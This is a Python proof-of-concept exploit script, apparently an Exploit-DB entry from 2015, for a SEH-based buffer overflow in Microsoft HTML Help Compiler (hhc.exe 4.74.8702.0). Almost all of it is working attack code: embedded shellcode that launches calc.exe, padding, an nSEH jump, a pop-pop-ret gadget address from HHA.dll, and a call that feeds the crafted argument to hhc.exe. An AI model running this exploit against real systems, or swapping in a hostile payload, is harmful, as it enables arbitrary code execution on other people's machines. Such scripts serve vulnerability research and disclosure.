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#!/usr/bin/env python # # Exploit Title: Microsoft HTML Help Compiler SEH Based Overflow # Date: 2015-08-13 # Exploit Author: St0rn <st0rn[at]anbu-pentest[dot]com> # Twitter: st0rnpentest # # Vendor Homepage: www.microsoft.com # Software Link: http://www.microsoft.com/downloads/details.aspx?FamilyID=00535334-c8a6-452f-9aa0-d597d16580cc&displaylang=en # Version: 4.74.8702.0 # Tested on: Windows 7 # from subprocess import Popen from struct import pack # 112 bytes All Windows Null-Free CreateProcessA Calc Shellcode # We have only 189 bytes after SE Handler # https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html shellcode="" shellcode+="\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" shellcode+="\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" shellcode+="\x77\x20\x8b\x3f\x80\x7e\x0c\x33" shellcode+="\x75\xf2\x89\xc7\x03\x78\x3c\x8b" shellcode+="\x57\x78\x01\xc2\x8b\x7a\x20\x01" shellcode+="\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" shellcode+="\x45\x81\x3e\x43\x72\x65\x61\x75" shellcode+="\xf2\x81\x7e\x08\x6f\x63\x65\x73" shellcode+="\x75\xe9\x8b\x7a\x24\x01\xc7\x66" shellcode+="\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" shellcode+="\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" shellcode+="\xb1\xff\x53\xe2\xfd\x68\x63\x61" shellcode+="\x6c\x63\x89\xe2\x52\x52\x53\x53" shellcode+="\x53\x53\x53\x53\x52\x53\xff\xd7" junk='\x61'*284 nseh='\xeb\x1e\x90\x90' # jump 30 bytes nop='\x90'*40 # nop seh=pack("<I", 0x45312d14)# pop ecx # pop ecx # ret| asciiprint,ascii {PAGE_EXECUTE_READ} [HHA.dll] payload=junk+nseh+seh+nop+shellcode padding='\x61'*(10000-len(payload)) exploit=payload+padding try: Popen(["C:\Program Files\HTML Help Workshop\hhc.exe",exploit],shell=False) print "Hack'n'Roll" except: print "Cannot run hhc.exe" |
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